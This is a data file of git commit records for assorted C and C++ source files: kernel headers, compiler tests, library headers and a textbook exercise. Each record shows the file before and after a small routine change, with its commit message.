{"commit":"52142e756e9bf6485d3d53596e8aff2e816a7253","old_file":"include\/asm-powerpc\/page_32.h","new_file":"include\/asm-powerpc\/page_32.h","old_contents":"#ifndef _ASM_POWERPC_PAGE_32_H\n#define _ASM_POWERPC_PAGE_32_H\n#ifdef __KERNEL__\n\n#define VM_DATA_DEFAULT_FLAGS\tVM_DATA_DEFAULT_FLAGS32\n\n#define PPC_MEMSTART\t0\n\n#ifndef __ASSEMBLY__\n\/*\n * The basic type of a PTE - 64 bits for those CPUs with > 32 bit\n * physical addressing.  For now this just the IBM PPC440.\n *\/\n#ifdef CONFIG_PTE_64BIT\ntypedef unsigned long long pte_basic_t;\n#define PTE_SHIFT\t(PAGE_SHIFT - 3)\t\/* 512 ptes per page *\/\n#else\ntypedef unsigned long pte_basic_t;\n#define PTE_SHIFT\t(PAGE_SHIFT - 2)\t\/* 1024 ptes per page *\/\n#endif\n\nstruct page;\nextern void clear_pages(void *page, int order);\nstatic inline void clear_page(void *page) { clear_pages(page, 0); }\nextern void copy_page(void *to, void *from);\n\n#include <asm-generic\/page.h>\n\n#endif \/* __ASSEMBLY__ *\/\n\n#endif \/* __KERNEL__ *\/\n#endif \/* _ASM_POWERPC_PAGE_32_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_PAGE_32_H\n#define _ASM_POWERPC_PAGE_32_H\n#ifdef __KERNEL__\n\n#define VM_DATA_DEFAULT_FLAGS\tVM_DATA_DEFAULT_FLAGS32\n\n#define PPC_MEMSTART\t0\n\n#ifdef CONFIG_NOT_COHERENT_CACHE\n#define ARCH_KMALLOC_MINALIGN\tL1_CACHE_BYTES\n#endif\n\n#ifndef __ASSEMBLY__\n\/*\n * The basic type of a PTE - 64 bits for those CPUs with > 32 bit\n * physical addressing.  For now this just the IBM PPC440.\n *\/\n#ifdef CONFIG_PTE_64BIT\ntypedef unsigned long long pte_basic_t;\n#define PTE_SHIFT\t(PAGE_SHIFT - 3)\t\/* 512 ptes per page *\/\n#else\ntypedef unsigned long pte_basic_t;\n#define PTE_SHIFT\t(PAGE_SHIFT - 2)\t\/* 1024 ptes per page *\/\n#endif\n\nstruct page;\nextern void clear_pages(void *page, int order);\nstatic inline void clear_page(void *page) { clear_pages(page, 0); }\nextern void copy_page(void *to, void *from);\n\n#include <asm-generic\/page.h>\n\n#endif \/* __ASSEMBLY__ *\/\n\n#endif \/* __KERNEL__ *\/\n#endif \/* _ASM_POWERPC_PAGE_32_H *\/\n","subject":"Fix kmalloc alignment on non-coherent DMA platforms","message":"[POWERPC] Fix kmalloc alignment on non-coherent DMA platforms\n\nOn platforms doing non-coherent DMA (4xx, 8xx, ...), it's important\nthat the kmalloc minimum alignment is set to the cache line size, to\navoid sharing cache lines between different objects, so that DMA to\none of the objects doesn't corrupt the other.\n\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\nSigned-off-by: Paul Mackerras <19a0ba370c443ba08d20b5061586430ab449ee8c@samba.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"44f9fbcddec64b7c43f7882ab58c8f23007a44d0","old_file":"include\/base\/errors.h","new_file":"include\/base\/errors.h","old_contents":"\/* --------------------------------------------------------------------------\n *    Name: errors.h\n * Purpose: Error type and constants\n * ----------------------------------------------------------------------- *\/\n\n#ifndef ERRORS_H\n#define ERRORS_H\n\ntypedef unsigned long int error;\n\n#define error_OK                  0\n#define error_EXISTS              1\n#define error_NOT_FOUND           2\n#define error_OOM                 3\n#define error_STOP_WALK           4\n#define error_CLASHES             5   \/* key would clash with existing one *\/\n#define error_NOT_IMPLEMENTED     6\n\n#define error_KEYLEN_REQUIRED     200\n#define error_KEYCOMPARE_REQUIRED 201\n#define error_KEYHASH_REQIURED    202\n\n#define error_QUEUE_FULL          300\n#define error_QUEUE_EMPTY         301\n\n#define error_TEST_FAILED         400\n\n#define error_HASH_END            500\n#define error_HASH_BAD_CONT       501\n\n#endif \/* ERRORS_H *\/\n\n","new_contents":"\/* --------------------------------------------------------------------------\n *    Name: errors.h\n * Purpose: Error type and constants\n * ----------------------------------------------------------------------- *\/\n\n#ifndef ERRORS_H\n#define ERRORS_H\n\ntypedef unsigned long int error;\n\n\/* Generic errors *\/\n\n#define error_OK                    0ul \/* No error *\/\n#define error_OOM                   1ul \/* Out of memory *\/\n#define error_NOT_IMPLEMENTED       2ul \/* Function not implemented *\/\n#define error_NOT_FOUND             3ul \/* Item not found *\/\n#define error_EXISTS                4ul \/* Item already exists *\/\n#define error_STOP_WALK             5ul \/* Callback was cancelled *\/\n\n\/* Data structure errors *\/\n\n#define error_CLASHES             100ul \/* Key would clash with existing one *\/\n\n#define error_QUEUE_FULL          110ul\n#define error_QUEUE_EMPTY         111ul\n\n#define error_HASH_END            120ul\n#define error_HASH_BAD_CONT       121ul\n\n\/* Container errors *\/\n\n#define error_KEYLEN_REQUIRED     200ul\n#define error_KEYCOMPARE_REQUIRED 201ul\n#define error_KEYHASH_REQIURED    202ul\n\n\/* Test errors *\/\n\n#define error_TEST_FAILED         300ul\n\n#endif \/* ERRORS_H *\/\n\n","subject":"Make error constants unsigned longs.","message":"Make error constants unsigned longs.\n","lang":"C","license":"bsd-2-clause","repos":"dpt\/Containers,dpt\/Containers"}
{"commit":"96018d05e6801cf935ef630288d45dc2238b5db8","old_file":"src\/util.c","new_file":"src\/util.c","old_contents":"#include \"util.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"laco.h\"\n\nstatic inline void ignore_extra(const char chr, char** string_ptr) {\n  if(*string_ptr == NULL) return;\n\n  while(**string_ptr == chr) {\n    *string_ptr += 1;\n  }\n}\n\n\/* External API *\/\n\nvoid laco_kill(LacoState* laco, int status, const char* message) {\n  laco_destroy_laco_state(laco);\n\n  if(message != NULL) {\n    fprintf(stderr, \"%s\\n\", message);\n  }\n\n  exit(status);\n}\n\nbool laco_is_match(const char** matches, const char* test_string) {\n  int i;\n  char* match;\n\n  for(i = 0; (match = (char*) matches[i]); i++) {\n    if(strcmp(test_string, match) == 0) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nchar** laco_split_by(const char split_with, char* string,\n                     int ignore_repeats) {\n  if(string == NULL) return NULL;\n\n  char** result = calloc(16, sizeof(char*));\n  size_t i = 0;\n\n  while(1) {\n    result[i] = strsep(&string, &split_with);\n\n    if(result[i] == NULL) break;\n\n    if(ignore_repeats) ignore_extra(split_with, &string);\n\n    i += 1;\n  }\n\n  return result;\n}\n","new_contents":"#include \"util.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"laco.h\"\n\nstatic inline void ignore_extra(const char chr, char** string_ptr) {\n  if(*string_ptr == NULL) return;\n\n  while(**string_ptr == chr) {\n    *string_ptr += 1;\n  }\n}\n\n\/* External API *\/\n\nvoid laco_kill(LacoState* laco, int status, const char* message) {\n  laco_destroy_laco_state(laco);\n\n  if(message != NULL) {\n    fprintf(stderr, \"%s\\n\", message);\n  }\n\n  exit(status);\n}\n\nbool laco_is_match(const char** matches, const char* test_string) {\n  int i;\n  const char* match;\n\n  for(i = 0; (match = matches[i]); i++) {\n    if(strcmp(test_string, match) == 0) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nchar** laco_split_by(const char split_with, char* string,\n                     int ignore_repeats) {\n  if(string == NULL) return NULL;\n\n  char** result = calloc(16, sizeof(char*));\n  size_t i = 0;\n\n  while(1) {\n    result[i] = strsep(&string, &split_with);\n\n    if(result[i] == NULL) break;\n\n    if(ignore_repeats) ignore_extra(split_with, &string);\n\n    i += 1;\n  }\n\n  return result;\n}\n","subject":"Change type from `char*` to `const char*`","message":"Change type from `char*` to `const char*`\n\nThis is to gets rid of the explicit type conversation every iteration of the\nloop.\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"5861b4b4ba13a3feedb9544e94d9d0bc4296662c","old_file":"test\/Driver\/ios-simulator-arcruntime.c","new_file":"test\/Driver\/ios-simulator-arcruntime.c","old_contents":"\/\/ RUN: %clang -### -arch i386 -mmacosx-version-min=10.6 -D__IPHONE_OS_VERSION_MIN_REQUIRED=40201 -fobjc-arc -fsyntax-only %s 2>&1 | FileCheck -check-prefix=CHECK-OPTIONS1 %s\n\/\/ RUN: %clang -### -arch i386 -mmacosx-version-min=10.6 -D__IPHONE_OS_VERSION_MIN_REQUIRED=50000 -fobjc-arc -fsyntax-only %s 2>&1 | FileCheck -check-prefix=CHECK-OPTIONS2 %s\n\n\/\/ CHECK-OPTIONS1: -fobjc-no-arc-runtime\n\/\/ CHECK-OPTIONS2-NOT: -fobjc-no-arc-runtime\n","new_contents":"\/\/ RUN: %clang -### -ccc-host-triple i386-apple-darwin10 -arch i386 -mmacosx-version-min=10.6 -D__IPHONE_OS_VERSION_MIN_REQUIRED=40201 -fobjc-arc -fsyntax-only %s 2>&1 | FileCheck -check-prefix=CHECK-OPTIONS1 %s\n\/\/ RUN: %clang -### -ccc-host-triple i386-apple-darwin10 -arch i386 -mmacosx-version-min=10.6 -D__IPHONE_OS_VERSION_MIN_REQUIRED=50000 -fobjc-arc -fsyntax-only %s 2>&1 | FileCheck -check-prefix=CHECK-OPTIONS2 %s\n\/\/ \n\n\/\/ CHECK-OPTIONS1: -fobjc-no-arc-runtime\n\/\/ CHECK-OPTIONS2-NOT: -fobjc-no-arc-runtime\n","subject":"Make this test pretend to be on a darwin host.","message":"Make this test pretend to be on a darwin host.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@133125 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"1561aa5eb97ab56b2aeb23f57d58f4818201ffc9","old_file":"include\/plasp\/pddl\/translation\/Predicate.h","new_file":"include\/plasp\/pddl\/translation\/Predicate.h","old_contents":"","new_contents":"#ifndef __PLASP__PDDL__TRANSLATION__PREDICATE_H\n#define __PLASP__PDDL__TRANSLATION__PREDICATE_H\n\n#include <plasp\/output\/Formatting.h>\n#include <plasp\/pddl\/expressions\/DerivedPredicate.h>\n#include <plasp\/pddl\/expressions\/Predicate.h>\n#include <plasp\/pddl\/expressions\/PredicateDeclaration.h>\n#include <plasp\/pddl\/translation\/Variables.h>\n\nnamespace plasp\n{\nnamespace pddl\n{\nnamespace translation\n{\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Predicate\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid printPredicateName(output::ColorStream &outputStream, const expressions::PredicateDeclaration &predicateDeclaration);\nvoid printDerivedPredicateName(output::ColorStream &outputStream, const expressions::DerivedPredicate &derivedPredicate);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ninline void printPredicateName(output::ColorStream &outputStream, const expressions::PredicateDeclaration &predicateDeclaration)\n{\n\toutputStream << output::Keyword(\"variable\") << \"(\";\n\n\tif (predicateDeclaration.parameters().empty())\n\t{\n\t\toutputStream << output::String(predicateDeclaration.name().c_str()) << \")\";\n\t\treturn;\n\t}\n\n\toutputStream << \"(\" << output::String(predicateDeclaration.name().c_str());\n\ttranslation::translateVariablesForRuleHead(outputStream, predicateDeclaration.parameters());\n\toutputStream << \"))\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ninline void printDerivedPredicateName(output::ColorStream &outputStream, const expressions::DerivedPredicate &derivedPredicate)\n{\n\toutputStream << output::Keyword(\"derivedVariable\") << \"(\";\n\n\tconst auto id = derivedPredicate.id();\n\n\tif (derivedPredicate.parameters().empty())\n\t{\n\t\toutputStream << output::Number<decltype(id)>(id) << \")\";\n\t\treturn;\n\t}\n\n\toutputStream << \"(\" << output::Number<decltype(id)>(id);\n\ttranslation::translateVariablesForRuleHead(outputStream, derivedPredicate.parameters());\n\toutputStream << \"))\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n}\n}\n}\n\n#endif\n","subject":"Put functions related to translation of predicates in separate file.","message":"Put functions related to translation of predicates in separate file.\n","lang":"C","license":"mit","repos":"potassco\/plasp"}
{"commit":"4b399f1a943e556f1fcd6a248991be922ad9741c","old_file":"src\/rtpp_command_query.h","new_file":"src\/rtpp_command_query.h","old_contents":"\/*\n * Copyright (c) 2014 Sippy Software, Inc., http:\/\/www.sippysoft.com\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\/\n\n#define RTPP_QUERY_NSTATS    5\n\nstruct rtpp_session_obj;\n\nint handle_query(struct cfg *, struct rtpp_command *, struct rtpp_session_obj *, int);\n","new_contents":"\/*\n * Copyright (c) 2014 Sippy Software, Inc., http:\/\/www.sippysoft.com\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\/\n\n#define RTPP_QUERY_NSTATS    5\n\nstruct rtpp_pipe;\n\nint handle_query(struct cfg *, struct rtpp_command *, struct rtpp_pipe *, int);\n","subject":"Change from working on \"session\" to working on \"pipes\".","message":"Change from working on \"session\" to working on \"pipes\".\n","lang":"C","license":"bsd-2-clause","repos":"synety-jdebp\/rtpproxy,synety-jdebp\/rtpproxy,sippy\/rtpproxy,jevonearth\/rtpproxy,dsanders11\/rtpproxy,synety-jdebp\/rtpproxy,jevonearth\/rtpproxy,sippy\/rtpproxy,jevonearth\/rtpproxy,dsanders11\/rtpproxy,dsanders11\/rtpproxy,jevonearth\/rtpproxy,synety-jdebp\/rtpproxy,sippy\/rtpproxy"}
{"commit":"dae8629cff132d3abd5ae83852380b568fbf654a","old_file":"src\/utils\/CommonParams.h","new_file":"src\/utils\/CommonParams.h","old_contents":"\n# ifndef COMMONPARAMS_H\n# define COMMONPARAMS_H\n\nstruct CommonParams{\n\n   int nx,ny,nz;\n   int NX,NY,NZ;\n   int rank;\n   int np;\n   int xOff;\n   int iskip;\n   int jskip;\n   int kskip;\n   int nstep;\n   int numOutputs;\n   double dx,dy,dz;\n   double LX,LY,LZ;\n   double dt;\n\n};\n\n# endif  \/\/ COMMONPARAMS_H\n","new_contents":"\n# ifndef COMMONPARAMS_H\n# define COMMONPARAMS_H\n\nstruct CommonParams{\n\n   int nx,ny,nz;\n   int NX,NY,NZ;\n   int rank;\n   int np;\n   int nbrL;\n   int nbrR;\n   int xOff;\n   int iskip;\n   int jskip;\n   int kskip;\n   int nstep;\n   int numOutputs;\n   double dx,dy,dz;\n   double LX,LY,LZ;\n   double dt;\n\n};\n\n# endif  \/\/ COMMONPARAMS_H\n","subject":"Add SfieldFD class and TIPS3 and TIPS4 classes to phase_field app","message":"Add SfieldFD class and TIPS3 and TIPS4 classes to phase_field app\n","lang":"C","license":"mit","repos":"paulmillett\/meso"}
{"commit":"9201aebbe24b8513b2af370d26bdfc2925daa037","old_file":"Include\/KAI\/Config\/Compiler.h","new_file":"Include\/KAI\/Config\/Compiler.h","old_contents":"\n#ifndef KAI_CONFIG_COMPILER_H\n#\tdefine KAI_CONFIG_COMPILER_H\n#\n#\tif defined(BOOST_MSVC)\n#\t\tdefine KAI_COMPILER_MSVC\n#\tendif\n#\n#\tundef KAI_HAVE_PRAGMA_ONCE\n#\n#\tifdef KAI_COMPILER_MSVC\n#\t\tifndef KAI_HAVE_PRAGMA_ONCE\n#\t\t\tdefine KAI_HAVE_PRAGMA_ONCE\n#\t\tendif\n\n#\tendif \/\/ KAI_COMPILER_MSVC\n#endif \/\/ KAI_CONFIG_COMPILER_H\n\n\/\/EOF\n","new_contents":"\n#ifndef KAI_CONFIG_COMPILER_H\n#\tdefine KAI_CONFIG_COMPILER_H\n#\n#\tif defined(BOOST_MSVC)\n#\t\tdefine KAI_COMPILER_MSVC\n#\tendif\n#\n#\tundef KAI_HAVE_PRAGMA_ONCE\n\n#pragma warning (disable: 4458 4456)\n\n\n#\n#\tifdef KAI_COMPILER_MSVC\n#\t\tifndef KAI_HAVE_PRAGMA_ONCE\n#\t\t\tdefine KAI_HAVE_PRAGMA_ONCE\n#\t\tendif\n\n#\tendif \/\/ KAI_COMPILER_MSVC\n#endif \/\/ KAI_CONFIG_COMPILER_H\n\n\/\/EOF\n","subject":"Apply fixes required to work with VS 2015 Community.","message":"Apply fixes required to work with VS 2015 Community.\n\n\nFormer-commit-id: 11fb6880db2d2d53bb8bf126a58e2eba7d0806d3\nFormer-commit-id: 6923894e1f89726caee9cecd8e43d078c17ce070","lang":"C","license":"mit","repos":"cschladetsch\/KAI,cschladetsch\/KAI,cschladetsch\/KAI"}
{"commit":"fc89323210a5f3f53808f7d801705d6b8c0a4224","old_file":"test\/Analysis\/unix-fns.c","new_file":"test\/Analysis\/unix-fns.c","old_contents":"\/\/ RUN: %clang_cc1 -analyze -analyzer-check-objc-mem %s -analyzer-store=region\n\/\/ RUN: %clang_cc1 -analyze -analyzer-check-objc-mem %s -analyzer-store=basic\n\n#include <fcntl.h>\n\nvoid test_open(const char *path) {\n  int fd;\n  fd = open(path, O_RDONLY); \/\/ no-warning\n  if (!fd)\n    close(fd);\n\n  fd = open(path, O_CREAT); \/\/ expected-warning{{Call to 'open' requires a third argument when the 'O_CREAT' flag is set}}\n  if (!fd)\n    close(fd);\n} \n","new_contents":"\/\/ RUN: %clang_cc1 -analyze -analyzer-check-objc-mem %s -analyzer-store=region\n\/\/ RUN: %clang_cc1 -analyze -analyzer-check-objc-mem %s -analyzer-store=basic\n\n#ifndef O_CREAT\n#define O_CREAT 0x0200\n#define O_RDONLY 0x0000\n#endif\nint open(const char *, int, ...);\n\nvoid test_open(const char *path) {\n  int fd;\n  fd = open(path, O_RDONLY); \/\/ no-warning\n  if (!fd)\n    close(fd);\n\n  fd = open(path, O_CREAT); \/\/ expected-warning{{Call to 'open' requires a third argument when the 'O_CREAT' flag is set}}\n  if (!fd)\n    close(fd);\n} \n","subject":"Remove test case dependancy on platform headers.","message":"Remove test case dependancy on platform headers.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@97088 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"6e95c0157afc35662e73b9caafe0d1d8bcf11f77","old_file":"tests\/shared_libs_toc\/srcs\/main.c","new_file":"tests\/shared_libs_toc\/srcs\/main.c","old_contents":"#include <stdio.h>\n\nconst char* output_hash(void);\nint getValue(void);\n\nint main(int argc, char **argv) {\n\n    printf(\"%s%d\\n\", output_hash(), getValue());\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\nconst char* output_hash(void);\nint getValue(void);\n\nint main(void) {\n\n    printf(\"%s%d\\n\", output_hash(), getValue());\n\n    return 0;\n}\n","subject":"Fix shared_lib_toc test on Android","message":"Fix shared_lib_toc test on Android\n\nIn the shared_libs_toc test, the compiler complains about unused\narguments to main(), so just declare it with a void parameter list.\n\nChange-Id: I5c5074c1012fec7c84d11fa1d8e5b7a0b74959b4\nSigned-off-by: David Kilroy <159cd46f289d7961b38b0171b53c05be4aaef0b6@arm.com>\n","lang":"C","license":"apache-2.0","repos":"ARM-software\/bob-build,ARM-software\/bob-build,ARM-software\/bob-build,ARM-software\/bob-build,ARM-software\/bob-build"}
{"commit":"7e85e7cb3ad4816b2ee4285aea3d9b724bc05945","old_file":"deps\/rapidcheck-catch.h","new_file":"deps\/rapidcheck-catch.h","old_contents":"","new_contents":"#pragma once\n\n#include <sstream>\n\n#include <rapidcheck.h>\n#include <catch.hpp>\n\nnamespace rc {\n\n\/\/\/ For use with `catch.hpp`. Use this function wherever you would use a\n\/\/\/ `SECTION` for convenient checking of properties.\n\/\/\/\n\/\/\/ @param description  A description of the property.\n\/\/\/ @param testable     The object that implements the property.\ntemplate <typename Testable>\nvoid prop(const std::string &description, Testable &&testable) {\n  using namespace detail;\n\n#ifdef CATCH_CONFIG_PREFIX_ALL\n  CATCH_SECTION(description) {\n#else\n  SECTION(description) {\n#endif\n\n    const auto result = checkTestable(std::forward<Testable>(testable));\n\n    if (result.template is<SuccessResult>()) {\n      const auto success = result.template get<SuccessResult>();\n      if (!success.distribution.empty()) {\n        std::cout << \"- \" << description << std::endl;\n        printResultMessage(result, std::cout);\n        std::cout << std::endl;\n      }\n    } else {\n      std::ostringstream ss;\n      printResultMessage(result, ss);\n#ifdef CATCH_CONFIG_PREFIX_ALL\n      CATCH_INFO(ss.str() << \"\\n\");\n      CATCH_FAIL();\n#else\n      INFO(ss.str() << \"\\n\");\n      FAIL();\n#endif\n    }\n  }\n}\n\n} \/\/ namespace rc\n","subject":"Include the rapidcheck header at top-level","message":"Include the rapidcheck header at top-level\n","lang":"C","license":"mit","repos":"tm604\/cps-future,tm604\/cps-future"}
{"commit":"b9b196846a4dc420c261d40788a1de8eb4eb2979","old_file":"chapter27\/chapter27_trythis.c","new_file":"chapter27\/chapter27_trythis.c","old_contents":"","new_contents":"\/*  Chapter 27, Try This: test cat(), find and remove performance error, add\n    comments *\/\n\n#include<stdlib.h>\n#include<string.h>\n#include<stdio.h>\n\nstruct A {\n    int x;\n};\n\nchar* cat(const char* id, const char* addr)\n{\n    int len_id = strlen(id);        \/* so it has to be calculated only once *\/\n    int sz = len_id + strlen(addr) + 2; \/* add extra space for terminating 0 *\/\n    char* res = (char*) malloc(sz);\n    strcpy(res,id);\n    res[len_id] = '@';          \/* and not len_id + 1 *\/\n    strcpy(res+len_id+1,addr);  \/* and not len_id + 2 *\/\n    res[sz-1] = 0;              \/* terminate string *\/\n    return res;\n}\n\nint main()\n{\n    A a;\n    char* id = \"scott.meyers\";\n    char* addr = \"aristeia.com\";\n    char* s = cat(id,addr);\n    printf(\"%s\\n\",s);\n}","subject":"Add Chapter 27, Try This","message":"Add Chapter 27, Try This\n","lang":"C","license":"mit","repos":"bewuethr\/stroustrup_ppp,bewuethr\/stroustrup_ppp"}
{"commit":"f71ce7795e9204d7b8db08f46ec50c2ec56b5c31","old_file":"loader.c","new_file":"loader.c","old_contents":"\/\/ This will load a lorito bytecode file into a lorito codeseg\n\n\n","new_contents":"\/\/ This will load a lorito bytecode file into a lorito codeseg\n\n\/\/ Since this is temporary, and we'll end up throwing it away in favor of\n\/\/  integrating with parrot's packfile format, this will be real simple.\n\/\/\n\/\/ Integer: segment type (0 = code, 1 = data)\n\/\/   Integer: Size of segement name\n\/\/   String: segment name, null terminated\n\/\/   Integer: Count (in 8 bytes, so a count of 1 == 8 bytes)\n\/\/   Data\n","subject":"Document the mini pack format.","message":"Document the mini pack format.\n\nSadly, I mangled some nomenclature and called something a segment that\nisn't in the parrot world.  Will need to fix that sometime.  Sorry.\n","lang":"C","license":"artistic-2.0","repos":"atrodo\/lorito,atrodo\/lorito"}
{"commit":"4b53f8e967de8a0123cc029adc024e8b3cb16eeb","old_file":"tests\/regression\/29-svcomp\/14_addition_in_comparision_bot.c","new_file":"tests\/regression\/29-svcomp\/14_addition_in_comparision_bot.c","old_contents":"\nint main()\n{\n  unsigned int top;\n  unsigned int start = 0;\n  unsigned int count = 0;\n\n  if(start + count > top) {\n     return 1;\n  }\n\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --enable ana.int.interval\nint main()\n{\n  unsigned int top;\n  unsigned int start = 0;\n  unsigned int count = 0;\n\n  if(start + count > top) {\n     return 1;\n  }\n\n  return 0;\n}\n","subject":"Enable interval analysis for test","message":"Enable interval analysis for test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
